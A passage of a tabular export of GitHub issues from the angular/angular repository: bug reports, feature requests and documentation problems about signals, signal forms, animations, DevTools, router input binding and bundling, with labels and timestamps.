private readonly environmentInjector = inject(EnvironmentInjector);
   seconds = toSignal(interval(1000), { initialValue: 0,
    injector: this.environmentInjector
    });
```
 
after this change signal is working but it prints 0 value only then stopped

i tried using injector as well

with injector  i am getting following error on console

TypeError: Cannot read properties of null (reading '2')


### Please provide a link to a minimal reproduction of the bug

_No response_

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true

```

### Anything else?

_No response_",needs reproduction,2026-02-25T11:25:54Z,2026-02-25T11:50:51Z,3
angular/angular,3988590148,Question & Feedback: Why does nullValidator exist?,"### Is this a bug report or a feature request?

- [ ] Bug Report
- [x] Feature Request

### Please provide the steps to reproduce the issue [Bug Report only]

Hi Angular Team,
I am a developer learning Angular and I came across the nullValidator and I have a question/feedback.
Why does nullValidator exist when we can simply leave the validator field empty to achieve the same result?
For example:
// This works perfectly fine:
linkedin: new FormControl(’’)
// So why would anyone write this?
linkedin: new FormControl(’’, Validators.nullValidator)
Both do exactly the same thing! The first one is cleaner and simpler.
I would love to see:
	1.	A clear explanation of WHY nullValidator exists
	2.	A real use case where nullValidator is the ONLY solution
	3.	If there is no strong reason, maybe consider removing it in future versions to keep Angular clean and simple?
I believe Angular should be as clean and simple as possible, and having redundant features can confuse developers especially beginners.
Thank you for your amazing work on Angular! I just want to make it even better!
Best regards

### Please provide the expected behavior vs the actual behavior you encountered [Bug Report only]

_No response_

### Please provide a screenshot if possible [Bug Report only]

_No response_

### Please provide the exception or error you saw [Bug Report only]

```true

```

### Is this a browser-specific issue? If so, please specify the device, browser, and version. [Bug Report only]

```true

```

... [TRUNCATED]",,2026-02-25T10:30:03Z,2026-02-25T11:42:37Z,2
angular/angular,3988349809,Support braced Unicode escapes,"### Which @angular/* package(s) are relevant/related to the feature request?

compiler

### Description

Angular template expressions currently do not support ES6 braced Unicode escapes (e.g. `\u{1F600}`) in string literals. This limits the ability to represent modern Unicode code points (such as emoji and historic scripts) directly in templates.

### Minimal reproduction
```html
<div>{{ '\u{1F600}' }}</div>
```
**Expected:** Renders 😀
**Actual:** Renders the literal string `\u{1F600}` or an error.

### Proposed solution

Extend the Angular compiler's template expression parser to support ES6 braced Unicode escapes (`\u{...}`) in string literals, matching JavaScript semantics. Legacy `\uXXXX` escapes should remain supported for backward compatibility.

### Alternatives considered

- Using legacy `\uXXXX` escapes with surrogate pairs for non-BMP characters (e.g., emoji). This is error-prone and less readable, requiring manual calculation and two code units per character.
- Avoiding Unicode escapes and directly pasting Unicode characters. This is not always practical for code points outside BMP or for code generation scenarios.",area: compiler,2026-02-25T09:44:48Z,2026-02-26T19:25:15Z,4
angular/angular,3985623338,Selecting v21 in the version menu loads next.angular.dev instead of angular.dev,"### Describe the problem that you experienced

Clicking on the v21 version in the menu loads https://next.angular.dev/ and the sidebar styling is different. However, accessing https://angular.dev/ directly (for example via Google) shows v21 on the main site. 
It seems that selecting v21 from the menu redirects to the ‘next’ site instead of the stable v21 site.

### Enter the URL of the topic with the problem

https://angular.dev/

### Describe what you were looking for in the documentation

_No response_

### Describe the actions that led you to experience the problem

_No response_

### Describe what you want to experience that would fix the problem

_No response_

### Add a screenshot if that helps illustrate the problem

_No response_

### If this problem caused an exception or error, please paste it here

```true

```

### If the problem is browser-specific, please specify the device, OS, browser, and version

```true

```

### Provide any additional information here in as much as detail as you can

```true

```",area: docs-infra,2026-02-24T20:16:03Z,2026-02-25T20:37:27Z,3
angular/angular,3985471224,Items disappearing on drag-and-drop,"### Which @angular/* package(s) are the source of the bug?

animations

### Is this a regression?

Yes

### Description

Our Angular web app allows users to drag-and-drop components to reorder them.

Recently, we noticed that dragging-and-dropping was causing items to disappear from the page entirely!

Please see the attached mp4 video for a demonstration of this behavior against a minimal repro (stackblitz link for this repro is included below)

---

We suspect it was caused by a change in the `animations` package, and we were able to mitigate the ""disappearing"" issue by removing these two lines from the relevant HTML snippet (i.e. disabling the animation):

```
animate.enter=""ease-in-animation""
animate.leave=""ease-out-animation""
```

I believe this behavior is new as of release `21.2.0-rc.0` - I've pinned all Angular packages to that version in the repro link below

### Please provide a link to a minimal reproduction of the bug

https://stackblitz.com/edit/stackblitz-starters-2puwya73?file=src%2Fapp.component.html

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
$ ng version

     _                      _                 ____ _     ___
    / \   _ __   __ _ _   _| | __ _ _ __     / ___| |   |_ _|
   / △ \ | '_ \ / _` | | | | |/ _` | '__|   | |   | |    | |
  / ___ \| | | | (_| | |_| | | (_| | |      | |___| |___ | |
 /_/   \_\_| |_|\__, |\__,_|_|\__,_|_|       \____|__... [TRUNCATED]","area: core,core: animations",2026-02-24T19:34:39Z,2026-03-02T16:46:11Z,2
angular/angular,3984708067,"Class 'FieldNode' incorrectly implements interface 'FieldState<unknown, string | number>'","### Which @angular/* package(s) are the source of the bug?

forms

### Is this a regression?

Yes

### Description

Error compiling App while using signal forms
The following import statement triggers the error:

import {form, required, submit} from ""@angular/forms/signals"";


### Please provide a link to a minimal reproduction of the bug

_No response_

### Please provide the exception or error you saw

```true
Application bundle generation failed. [1.771 seconds] - 2026-02-24T16:30:12.837Z

✘ [ERROR] TS2420: Class 'FieldNode' incorrectly implements interface 'FieldState<unknown, string | number>'.
  Types of property 'max' are incompatible.
    Type 'Signal<number | undefined> | undefined' is not assignable to type 'Signal<number | undefined>'.
      Type 'undefined' is not assignable to type 'Signal<number | undefined>'.
        Type 'undefined' is not assignable to type '() => number | undefined'. [plugin angular-compiler]

    node_modules/@angular/forms/types/_structure-chunk.d.ts:1752:14:
      1752 │ declare class FieldNode implements FieldState<unknown> {
           ╵               ~~~~~~~~~
```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
┌───────────────────────────────────┬───────────────────┬───────────────────┐
│ Package                           │ Installed Version │ Requested Version │
├───────────────────────────────────┼───────────────────┼───────────────────┤
│ @angular/animations               │ 21.1.5         ... [TRUNCATED]","area: forms,forms: signals",2026-02-24T16:39:53Z,2026-03-24T21:51:34Z,4
angular/angular,3979061763,Searching for 'resource',"### Describe the problem that you experienced

The result brings me to a non existing page

### Enter the URL of the topic with the problem

https://v18.angular.dev/guide/signals/resource#

### Describe what you were looking for in the documentation

_No response_

### Describe the actions that led you to experience the problem

_No response_

### Describe what you want to experience that would fix the problem

_No response_

### Add a screenshot if that helps illustrate the problem

_No response_

### If this problem caused an exception or error, please paste it here

```true

```

### If the problem is browser-specific, please specify the device, OS, browser, and version

```true

```

### Provide any additional information here in as much as detail as you can

```true

```",,2026-02-23T16:29:20Z,2026-02-23T16:33:15Z,2
angular/angular,3978591174,Signal forms: poor performances with large arrays,"### Which @angular/* package(s) are the source of the bug?

forms

### Is this a regression?

No

### Description

Formfields provide poor performance with large array as values.

For example, emitting an array of 15000 numbers:

`````
Duration (ngModel): 0.04500007629394531ms
Duration (formField): 38.329999923706055ms
`````

With objects, it can go up to 2000ms!


https://stackblitz.com/edit/formfield-with-large-array?file=src%2Fmain.ts

````typescript
import { Component, model, signal } from '@angular/core';
import { bootstrapApplication } from '@angular/platform-browser';
import { form, FormValueControl, FormField } from '@angular/forms/signals';

@Component({
  selector: 'app-custom-control',
  template: `
  <button (click)=""emitFormfield()"">Emit array of 15000 numbers (formField)</button>
  <button (click)=""emitNgModel()"">Emit array of 15000 numbers (ngModel)</button>
  <br/><br/>
  <div>Duration (ngModel): {{ durationNgModel() }}ms</div>
  <div>Duration (formField): {{ durationFormField() }}ms</div>
`,
})
export class CustomControl implements FormValueControl<number[]> {
  private _numbers: number[] = Array.from({ length: 15000 }, (_, i) => i);

  public value = model<number[]>([]);
  public valueAsNgModel = model<number[]>([]);

  public durationNgModel = signal(0);
  public durationFormField = signal(0);

  public emitNgModel() {
    const startTime = performance.now();

    this.valueAsNgModel.set([...this._numbers]);

    const endTime = performance.now();
    this.... [TRUNCATED]","area: forms,forms: signals",2026-02-23T14:52:25Z,2026-03-20T22:09:29Z,4
angular/angular,3978262122,Conflict between tsdocs and what migration to Angular 21 does,"### Command

update

### Is this a regression?

- [ ] Yes, this behavior used to work in the previous version

### The previous version in which this bug was not present was

_No response_

### Description

I've upgraded to Angular 21, which added `{ applicationProviders: [provideZoneChangeDetection()] }` in
```
platformBrowser()
  .bootstrapModule(AppModule)
  .catch((error: Error) => console.error(error))
```

However the description of `provideZoneChangeDetection` says `This provider is not available for platformBrowser().bootstrapModule`.

<img width=""1179"" height=""278"" alt=""Image"" src=""https://github.com/user-attachments/assets/0651491a-7fbc-4fec-8972-44ae9266027f"" />

### Minimal Reproduction

Just migrate a module-based app to Angular 21, I guess.

### Exception or Error

```text

```

### Your Environment

```text
| @angular/core                     │ 21.1.5            │ ^21.1.5           │
│ @angular/fire                     │ 20.0.1            │ ^20.0.1           │
│ @angular/forms                    │ 21.1.5            │ ^21.1.5           │
│ @angular/language-service         │ 21.1.5            │ ^21.1.5           │
│ @angular/material                 │ 21.1.5            │ ^21.1.5           │
│ @angular/material-moment-adapter  │ 21.1.5            │ ^21.1.5           │
│ @angular/platform-browser         │ 21.1.5            │ ^21.1.5           │
│ @angular/platform-browser-dynamic │ 21.1.5            │ ^21.1.5           │
│ @angular/platform-server          │ 21.1... [TRUNCATED]",area: docs,2026-02-23T13:24:30Z,2026-03-02T19:02:32Z,2
angular/angular,3979642158,Vitest Debugging in Browser Mode,"### Which @angular/* package(s) are relevant/related to the feature request?

_No response_

### Description

I'm using Angular 21 and started writing some test cases.
The tests are running with vitest and playwright. The setup is done like the documentation explained it. https://angular.dev/guide/testing

But there is the point for debugging Tests, where the documentation states, that it is not possible to debug with vitest in browser mode.

I need to use browser mode because with for example 'jsdom' the tests have many errors because of undefined properties.

I tried debugging with jsdom. Debugging works, but as I mentioned before, not all my tests will run with jsdom.

Will it be possible in the future, to also debug with vitest in browser mode?
And is there a workaround to do it today?

### Proposed solution

The combination of Angular, Vitest and Browser Mode should be possible to debug tests.
Adjust the angular vitest runner to make it possible.

### Alternatives considered

Running tests in jsdom for debugging.
But some tests will only run in Browser Mode because of missing properties and test functions in jsdom.","open for contributions,good first issue,docsarea: testing,area: docs",2026-02-23T13:23:36Z,2026-02-23T19:12:52Z,5
angular/angular,3976226640,docs-infra: Route generation script ignores custom heading ID syntax,"## Describe the problem that you experienced

The route generation script (`adev/scripts/routes/generate-routes.mts`) uses a simplified logic to generate heading IDs from markdown headings. However, the markdown pipeline (`adev/shared-docs/pipeline/shared/marked/transformations/heading.mts`) supports a custom ID syntax `{#custom-id}` for explicit anchor IDs.

This inconsistency causes generated routes to differ from the actual anchor IDs in the rendered documentation when custom IDs are used. This is particularly problematic for localized documentation (e.g., `angular/angular-ja`) where custom IDs are used to maintain stable links across translations.

## Enter the URL of the topic with the problem

N/A (Build/Generation issue)

## Describe what you were looking for in the documentation

I expected the route generation process to respect the same heading ID rules as the markdown rendering pipeline.

## Describe the actions that led you to experience the problem

1. Create a markdown file with a heading using a custom ID: `## My Heading {#my-custom-id}`.
2. Run the route generation script.
3. Observe that the generated route uses `my-heading-my-custom-id` (derived from text) instead of `my-custom-id`.

## Describe what you want to experience that would fix the problem

The generated route for a heading with `{#custom-id}` should be `#my-custom-id`, not `#my-heading-my-custom-id`. The logic for extracting heading IDs should be shared between the route generation script and the ... [TRUNCATED]",area: docs-infra,2026-02-23T04:16:41Z,2026-02-23T23:16:55Z,1
angular/angular,3971267881,High Cyclomatic Complexity and Magic Number in Change Detection Function,"### Which @angular/* package(s) are the source of the bug?

Don't known / other

### Is this a regression?

No

### Description

During a review of Angular’s change detection implementation (packages/core/src/render3/instructions/change_detection.ts), I identified two maintainability concerns:

High cyclomatic complexity and nested logic in the detectChangesInViewWhileDirty function. Multiple nested loops and conditionals reduce readability, making it harder for contributors to follow the logic, though the behavior appears necessary for correct internal state management.

Magic number usage: MAXIMUM_REFRESH_RERUNS is hard-coded to 100. While it is clearly defined, the reason for this specific value is not documented, which could make maintenance or adjustments more error-prone.

Steps to Observe:

Open packages/core/src/render3/instructions/change_detection.ts.

Locate the detectChangesInViewWhileDirty function.

Observe the nested conditionals and the MAXIMUM_REFRESH_RERUNS constant.

Expected Behavior:
Maintainable and readable code, with clear explanations for critical constants.

Actual Behavior:
The function works correctly, but readability is reduced and the constant’s purpose is not immediately clear.

Notes:
This issue is submitted as a code quality / maintainability concern. It is not a functional bug or regression.

Optional Improvement Suggestions:

Add comments explaining the purpose of MAXIMUM_REFRESH_RERUNS.

Consider refactoring the function to reduce nesting w... [TRUNCATED]",,2026-02-21T04:10:08Z,2026-02-21T04:51:12Z,4
angular/angular,3971233965,Refactor: Clean up signal file(s) TODO,"### Which @angular/* package(s) are the source of the bug?

core

### Is this a regression?

No

### Description

Hello, 

Opening this issue as I haven't contributed to Angular before and I didn't want to just toss out a PR even for a smaller potential update. 

I was reviewing the core files for signals as I get into some projects using the framework, and noticed a comment pointing to an [issue in esbuild](https://github.com/evanw/esbuild/issues/3392). The TODO in the comment mentioned that it would be removed once the issue was resolved, however, the issue was 'closed as not planned'. It seems that the workaround implemented within Angular (using an IIFE to wrap the spread assignment with the pure annotation) is the recommended solution from esbuild.

I searched the repository and found 5 files where this comment / workaround was implemented, here is the example from [./packages/core/primitives/signals/src/signal.ts](https://github.com/angular/angular/blob/main/packages/core/primitives/signals/src/signal.ts):

```
// Note: Using an IIFE here to ensure that the spread assignment is not considered
// a side-effect, ending up preserving `COMPUTED_NODE` and `REACTIVE_NODE`.
// TODO: remove when https://github.com/evanw/esbuild/issues/3392 is resolved.
```

I'd be happy to open a PR to update or remove the comment on these to clean them up a bit. Since the referenced issue that this comment points to is closed as not planned, I figure it would make sense to either remove the TO... [TRUNCATED]",,2026-02-21T03:43:19Z,2026-02-23T18:19:56Z,2
angular/angular,3970871832,On idle trigger does not support providing an IdleDeadline,"### Which @angular/* package(s) are the source of the bug?

core

### Description

Right now `@defer(on idle)` will fire [requestIdleCallback](https://developer.mozilla.org/en-US/docs/Web/API/Window/requestIdleCallback), but there's no way to configure the second `options` parameter that allows for a configuration of a timeout. It would be great to add support for this. Something like `@defer(on idle(300)) {...` would be great to see. This would also require ensuring that this deadline is respected in the scheduling of the callback. So we'd want to look at the [`IdleDeadline`](https://developer.mozilla.org/en-US/docs/Web/API/IdleDeadline) for that.","open for contributions,area: core",2026-02-21T00:12:49Z,2026-03-04T15:57:33Z,6
angular/angular,3970292878,Holding 'enter' key causes 'click' to fire repeatedly ('space' does not),"### Which @angular/* package(s) are the source of the bug?

core

### Is this a regression?

No

### Description

Example code:
```ts
import {Component} from '@angular/core';

@Component({
  selector: 'app-root',
  template: ` <button (click)=""foo()"">say hi</button> `,
})
export class App {
  foo() {
    console.log('hi');
  }
}
```

There's no way to check if these are ""real"" clicks or key repeats since $event is a fake PointerEvent

Interestingly, 'space' does the right thing here and only fires once, on keyup.

This is causing accessibility issues in our app -- specifically with an internal criterion we have that our app be usable by users who cannot move quickly enough to avoid the key repeat.

### Please provide a link to a minimal reproduction of the bug

https://stackblitz.com/edit/1ld5vzmq?file=src%2Fapp%2Fapp.ts

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular CLI       : 21.1.4
Angular           : 21.1.4
Node.js           : 20.19.1
Package Manager   : npm 10.8.2
Operating System  : linux x64

┌───────────────────────────┬───────────────────┬───────────────────┐
│ Package                   │ Installed Version │ Requested Version │
├───────────────────────────┼───────────────────┼───────────────────┤
│ @angular/build            │ 21.1.4            │ ^21.1.0-next      │
│ @angular/cli              │ 21.1.4            │ ^21.1.0-next      │
│ @angular/common... [TRUNCATED]",,2026-02-20T20:40:02Z,2026-02-20T21:45:50Z,3
angular/angular,3969175448,feat: Add `options` optional parameter for `withComponentInputBinding`,"### Which @angular/* package(s) are relevant/related to the feature request?

router

### Description

I would like to use the `withComponentInputBinding` but be able to explicitly set which sources are allowed/disallowed to bind. Sources are noted [here](https://angular.dev/api/router/withComponentInputBinding) as follows:
- query parameters
- path and matrix parameters
- static route data
- data from resolvers

### Proposed solution

Add a new optional `options` parameter to `withComponentInputBinding` which has boolean properties for each source. Each boolean would be optional and default to `true`. The interface might look something like this:
```typescript
interface ComponentInputBindingOptions
{
  queryParams?: boolean;
  pathAndMatrixParams?: boolean;
  staticRouteData?: boolean;
  dataFromResolvers?: boolean;
}
```

And new function signature would look like this:
```typescript
function withComponentInputBinding(options?: ComponentInputBindingOptions): ComponentInputBindingFeature;
```

Here is an example if I didn't want query parameters to bind:
```typescript
provideRouter(ROUTES, withComponentInputBinding({ queryParams: false })
```

You could also call it the same as before, so this would have no breaking changes:
```typescript
provideRouter(ROUTES, withComponentInputBinding())
```

### Alternatives considered

Can't really think of any alternatives, and after doing some research I couldn't even find a workaround where I can exclude a certain source globally. The ... [TRUNCATED]",area: router,2026-02-20T15:45:20Z,2026-03-12T22:52:19Z,6
angular/angular,3967936369,Signal Forms: parse errors are lost when `parse()` returns both `value` and `errors`,"### Which @angular/* package(s) are the source of the bug?

forms

### Is this a regression?

Yes

### Description

In Signal Forms, parse errors can be dropped when a custom control uses `transformedValue` and `parse()` returns both a parsed `value` and `errors` in the same result.

This affects scenarios like validation during parsing (for example returning a numeric value but also emitting a max/min style parse error).

If `parse()` returns `{ value, errors }`, both should be preserved. In rc.0 the value updates, but errors are cleared and do not appear on `field.errors()`.

To repro, create a custom `FormValueControl<number | null>` using `transformedValue` with:

```
parse: (raw) => {
  const value = Number(raw);
  if (Number.isNaN(value)) return { errors: [{ kind: 'parse' }] };
  if (value > 10) return { value, errors: [maxError(10)] };
  return { value };
}
```

When entering 11, the field value updates, but `field.errors()` is empty (expected a max error).



### Please provide a link to a minimal reproduction of the bug

_No response_

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular CLI       : 21.2.0-rc.0
Angular           : 21.2.0-rc.0
Node.js           : 22.22.0
Package Manager   : npm 10.9.0
Operating System  : darwin arm64

┌───────────────────────────┬───────────────────┬───────────────────┐
│ Package                   │ Installed Version │ Request... [TRUNCATED]","area: forms,forms: signals",2026-02-20T10:59:22Z,2026-02-20T18:28:57Z,2
angular/angular,3964195888,Release Notes missing in 21.1.5 release,"### Describe the problem that you experienced

The Release notes are missing in the 21.1.5 release: https://github.com/angular/angular/releases/tag/v21.1.5

Additionally the changelog document does not contain anything in the 21.1.5 release: https://github.com/angular/angular/blob/main/CHANGELOG.md



### Enter the URL of the topic with the problem

https://github.com/angular/angular/blob/main/CHANGELOG.md

### Describe what you were looking for in the documentation

Normal release notes / changelog so that I have awareness of what has changed.

### Describe the actions that led you to experience the problem

_No response_

### Describe what you want to experience that would fix the problem

_No response_

### Add a screenshot if that helps illustrate the problem

<img width=""1080"" height=""207"" alt=""Image"" src=""https://github.com/user-attachments/assets/17a39e20-a400-41dc-9f3b-b84cfe7d78db"" />

<img width=""1173"" height=""460"" alt=""Image"" src=""https://github.com/user-attachments/assets/2a383022-8a42-454f-84e5-c566a48466ac"" />

### If this problem caused an exception or error, please paste it here

```true

```

### If the problem is browser-specific, please specify the device, OS, browser, and version

```true

```

### Provide any additional information here in as much as detail as you can

```true

```",area: dev-infra,2026-02-19T17:41:06Z,2026-02-19T18:29:58Z,3
angular/angular,3962708783,@angular/core/primitives/di export collision with @angular/core breaks SystemJS bundling,"### Which @angular/* package(s) are the source of the bug?

core

### Is this a regression?

Yes

### Description

#### Problem
When bundling Angular 20+ for SystemJS (required for micro-frontends), the `inject` export from `@angular/core/primitives/di` collides with the public `inject` `export from @angular/core`. This causes bundlers to silently drop one of the exports, breaking runtime behavior.

#### Context

Use case: Micro-frontends using SystemJS for module loading
Angular version: 20+ (affects all versions with `primitives/di`)
Bundler: Rollup (same issue likely affects Webpack with SystemJS output)

Starting in Angular 20, the `fesm2022/` output includes chunked ESM with shared internal modules extracted into separate files. When creating a merged SystemJS bundle that includes both `@angular/core` and its sub-paths, Rollup encounters:
```javascript
export * from '@angular/core';
export * from '@angular/core/primitives/di';
```
Both modules export a function named `inject`, causing an ambiguous export conflict. Rollup silently drops one of them during the merge, resulting in missing exports in the final SystemJS output.

While I've found a workaround, other teams using micro-frontends and shared SystemJS bundles are struggling to resolve this. The issue creates real blockers for legitimate architectural patterns in the Angular ecosystem.

Attempts to resolve: https://github.com/angular/angular/pull/67098

### Please provide a link to a minimal reproduction of the bug
... [TRUNCATED]","needs reproduction,area: core",2026-02-19T12:26:13Z,2026-02-25T10:49:27Z,12
angular/angular,3962299574,with Angular DevTools 1.11.0 - tab memory usage increase every sec non stop.,"### Is this a bug report or a feature request?

- [x] Bug Report
- [ ] Feature Request

### Please provide the steps to reproduce the issue [Bug Report only]

on a chrome with angular DevTools extension version 1.11.0 installed.
open DevTools on a tab with a running angular app  (for example: angular.dev).



### Please provide the expected behavior vs the actual behavior you encountered [Bug Report only]

expected:
* tab memory usage should not increase the longer you stay in a page.
* the network tab should not be polluted.

actual:
* tab memory usage is increasing like in a memory leak scenario. 
* network tab is polluted every sec.

### Please provide a screenshot if possible [Bug Report only]

network tab:
<img width=""1917"" height=""1034"" alt=""Image"" src=""https://github.com/user-attachments/assets/f1d92859-ffd5-470c-a6f4-c91f437cdb55"" />

memory usage in tab hover:

<img width=""267"" height=""288"" alt=""Image"" src=""https://github.com/user-attachments/assets/05367f6b-d9cd-4e64-b864-d0a3f39e5248"" />

### Please provide the exception or error you saw [Bug Report only]

```true

```

### Is this a browser-specific issue? If so, please specify the device, browser, and version. [Bug Report only]

```true

```

### Description [Feature Request only]

_No response_

### Proposed solution [Feature Request only]

_No response_

### Alternatives considered [Feature Request only]

_No response_",area: devtools,2026-02-19T10:55:22Z,2026-02-19T16:45:35Z,1
angular/angular,3960623545,Go to Definition does not work inside @if or *ngIf blocks in templates,"## Summary

""Go to Definition"" (F12 / Ctrl+Click / Cmd+Click) does not resolve component methods and properties when the reference is **inside** an `@if` block (new control flow) or inside an `*ngIf` block in an Angular template. The same action works for references **outside** conditional blocks in the same template and in other components (e.g. root app.html without conditionals).

## Expected behavior

- From a template, Ctrl+Click (or F12) on a method or property used in a binding (e.g. `(click)=""ticketsPrint()""` or `[href]=""telegrammBotUrl""`) should navigate to its definition in the component class.
- This should work regardless of whether the binding is inside an `@if` / `@else` block or inside an `*ngIf` host.

## Actual behavior

- **Outside** conditional blocks: Go to Definition works (e.g. `[href]=""telegrammBotUrl""`).
- **Inside** `@if (...) { ... }`: Go to Definition does nothing (e.g. `(click)=""ticketsPrint()""` or `(click)=""close()""` inside `@if (beforeUnloadType)`).
- **Inside** `*ngIf`: Same failure — replacing `@if` with `<ng-container *ngIf=""..."">` does not fix it; Go to Definition still does not work for bindings inside the `*ngIf` block.

So the failure is not specific to the new control flow syntax; it affects content inside any conditional (both `@if` and `*ngIf`).

## Steps to reproduce

1. Create a standalone Angular component with an external template that uses conditionals, e.g.:

**component.ts**
```ts
@Component({
  selector: 'app-demo',
  standalone... [TRUNCATED]",,2026-02-19T02:09:28Z,2026-02-19T16:34:26Z,4
angular/angular,3957460445,Enforce 'schemaPath' naming convention,"### Describe the problem that you experienced

The Signal Forms documentation uses `schemaPath` for the schema callback parameter and includes a note about it:

> NOTE: The schema callback parameter (schemaPath in these examples) is a [SchemaPathTree](https://angular.dev/api/forms/signals/SchemaPathTree) object that provides paths to all fields in your form. You can name this parameter anything you like.

Rather than stating **you can name this parameter anything you like**, it would be better to clearly enforce this (or another one) naming convention that everyone (including AI) will adopt.

### Enter the URL of the topic with the problem

https://angular.dev/guide/forms/signals/form-logic#how-rules-work

### Describe what you were looking for in the documentation

_No response_

### Describe the actions that led you to experience the problem

_No response_

### Describe what you want to experience that would fix the problem

_No response_

### Add a screenshot if that helps illustrate the problem

_No response_

### If this problem caused an exception or error, please paste it here

```true

```

### If the problem is browser-specific, please specify the device, OS, browser, and version

```true

```

### Provide any additional information here in as much as detail as you can

```true

```",,2026-02-18T11:50:01Z,2026-02-18T12:44:36Z,3
angular/angular,3956390787,Request for Internal ABI (ɵɵ) Changelog between v17 and v20,"### Which @angular/* package(s) are relevant/related to the feature request?

compiler-cli, compiler, core, upgrade

### Description

We are an enterprise team migrating an internal SDK from Angular 17 to v20. Due to architectural constraints, we use Full Compilation Mode. We have observed significant shifts in internal instructions (ɵɵpropertyInterpolate1 → ɵɵproperty composition) and token renames (ɵPendingTasks → PendingTasks).

Backward compatibility is broken for our legacy application modules because the v20 runtime does not recognize the v17 ABI. While we understand these are private APIs not subject to backward compatibility constraints, at our scale, we need visibility into these changes to build compatibility shims.

### Proposed solution

Does the team have a generated ""diff"" of compiler instructions, or is there a recommended way to audit these changes using the Angular Linker’s internal mapping logic? Or a changelog containing such changes which could be publicly shared?

### Alternatives considered

Auditing the @angular/compiler-cli source code to see how the Linker maps declarations to instructions. But this requires deep expertise in the Angular Compiler's internal AST transformations. A public-facing changelog or mapping table would be a much more efficient 'source of truth' for the community and enterprise users than reverse-engineering the Linker logic.",,2026-02-18T07:29:10Z,2026-02-18T10:21:55Z,2
angular/angular,3953345660,Font weight increase shift tabs,"### Which @angular/* package(s) are the source of the bug?

Don't known / other

### Is this a regression?

Yes

### Description

When menu bar font-weight active 700 to 400 item slightly shift left

### Please provide a link to a minimal reproduction of the bug

_No response_

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true

```

### Anything else?

_No response_",,2026-02-17T15:29:36Z,2026-02-17T22:03:49Z,3
angular/angular,3952107386,test,"### Which @angular/* package(s) are relevant/related to the feature request?

_No response_

### Description

test

### Proposed solution

test

### Alternatives considered

test",,2026-02-17T10:46:24Z,2026-02-17T11:32:21Z,1
angular/angular,3951563703,Incorrect comment about signal update behavior in Angular documentation example,"### Describe the problem that you experienced

In the Angular official documentation example for @Component, the inline comment says: “Always updates when the value of the `name` signal changes.” However, in the code snippet, there is no `name` signal defined. The signal defined is `theme = signal('dark')`, and the template uses t`heme()`. This makes the comment incorrect and confusing because it references a signal that does not exist in the example.

### Enter the URL of the topic with the problem

https://angular.dev/guide/templates/binding

### Describe what you were looking for in the documentation

I was trying to understand how Angular signals work inside a component template and how template updates are triggered when a signal value changes.

### Describe the actions that led you to experience the problem

I opened the Angular documentation page about signals and components, reviewed the provided example code, and noticed that the comment refers to a name signal even though only a theme signal is defined in the example.

### Describe what you want to experience that would fix the problem

I expect the inline comment in the documentation example to correctly reference the theme signal instead of name. The comment should say: “Always updates when the value of the theme signal changes.” Alternatively, if the example is meant to demonstrate a name signal, then the code should define name = signal(...) and use it consistently. The documentation should be internally consist... [TRUNCATED]","open for contributions,good first issue,area: docs",2026-02-17T08:46:38Z,2026-02-17T16:25:06Z,1
angular/angular,3947960132,Update AJV to fix CVE-2025-69873,"### Which @angular/* package(s) are the source of the bug?

Don't known / other

### Is this a regression?

Yes

### Description

Hi could you update Ajv to latest version to fix the mentioned CVE. See https://github.com/ajv-validator/ajv/issues/2581

### Please provide a link to a minimal reproduction of the bug

_No response_

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true

```

### Anything else?

_No response_",,2026-02-16T14:09:05Z,2026-02-16T14:15:54Z,3
angular/angular,3944523551,Include @angular/fire in 'ng update',"### Which @angular/* package(s) are relevant/related to the feature request?

_No response_

### Description

Please include @angular/fire in 'ng update'

### Proposed solution

Please include @angular/fire in 'ng update'

### Alternatives considered

Please include @angular/fire in 'ng update'",,2026-02-15T17:22:16Z,2026-02-15T17:53:04Z,2
angular/angular,3942078668,"Output signal wrong name, app still runs/builds","### Which @angular/* package(s) are the source of the bug?

compiler

### Is this a regression?

No

### Description

I have an Angular application where I defined an `Output()` event in a child component and then bound to it from the parent template. 
I expected the TypeScript compiler or Angular template type checking to fail if I used a wrong or non‑existing output name in the parent template. However, the app still compiles and runs successfully even when the output name used in the parent template does not match any actual Output() defined on the child component. 
What happens instead is that Angular accepts the binding silently, there is no build‑time error or runtime warning, and the event handler in the parent is simply never triggered, which makes this class of bugs (typos or stale output names) hard to detect

### Please provide a link to a minimal reproduction of the bug

https://stackblitz.com/edit/stackblitz-starters-fexanjc4?file=src%2Fmain.ts

### Please provide the exception or error you saw

```true
I expect an error in the compilation/build
```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular CLI       : 21.0.2
Angular           : 21.0.3
Node.js           : 20.19.1
Package Manager   : npm 10.8.2
Operating System  : linux x64

┌───────────────────────────┬───────────────────┬───────────────────┐
│ Package                   │ Installed Version │ Requested Version │
├───────────────────────────┼─────────────────... [TRUNCATED]",,2026-02-14T19:04:22Z,2026-02-14T19:11:05Z,3
angular/angular,3942025716,`formControl.setValue` inside a reactive context causes tracking of all signals read by value/validity change subscribers,"### Which @angular/* package(s) are the source of the bug?

core

### Is this a regression?

Yes

### Description

After upgrading from Angular 19 to Angular 21
---
A component that uses `AfterRenderEffect` started behaving unexpectedly. When the user clicks a button in a toggle group, the selected value should be reflected correctly, but instead the view is reset to the main title after a render cycle. This appears to be triggered when a form control’s`setValue('main')` is called, which causes the render to run in a way that overrides the user’s selection.
If I comment out the `setValue('main')` call, the component behaves as expected and the selection is preserved, with no unexpected re-renders. 
well i susbect that **(iam not sure)** `setValue()` is now interacting differently with change detection and `AfterRenderEffect` between Angular 19 and Angular 21. I am trying to understand whether this is an intentional change in how `setValue` emits events or triggers rendering, or a regression in how it collaborates with render effects.


Link v19, where it was working [link](https://stackblitz.com/edit/stackblitz-starters-tptspfzl?file=src%2Fcustom-component.ts,src%2Fmain.ts)

link v21, where it was broke [link](https://stackblitz.com/edit/stackblitz-starters-tkg2lk9c?file=package-lock.json,src%2Fmain.ts)

### Please provide a link to a minimal reproduction of the bug

https://stackblitz.com/edit/stackblitz-starters-tkg2lk9c?file=package-lock.json,src%2Fmain.ts

